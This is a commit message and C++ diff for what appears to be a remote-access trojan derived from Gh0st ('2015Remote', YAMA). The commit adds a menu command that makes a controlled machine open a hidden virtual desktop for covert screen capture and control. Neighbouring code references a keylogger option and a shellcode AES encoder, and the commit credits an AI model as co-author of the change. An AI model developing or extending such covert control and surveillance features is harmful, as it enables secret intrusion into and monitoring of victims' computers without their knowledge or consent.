Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)

Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro

server/2015Remote/2015RemoteDlg.cpp

@@ -997,6 +997,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
     ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
     ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
+    ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
     ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
     ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
     ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -4518,6 +4519,12 @@ void CMy2015RemoteDlg::OnExperimentFileManager()
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
 
+void CMy2015RemoteDlg::OnExperimentPrivateScreen()
+{
+    BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN;   //向被控端发送打开隐私屏幕（虚拟桌面）命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
 
 // 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程
 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,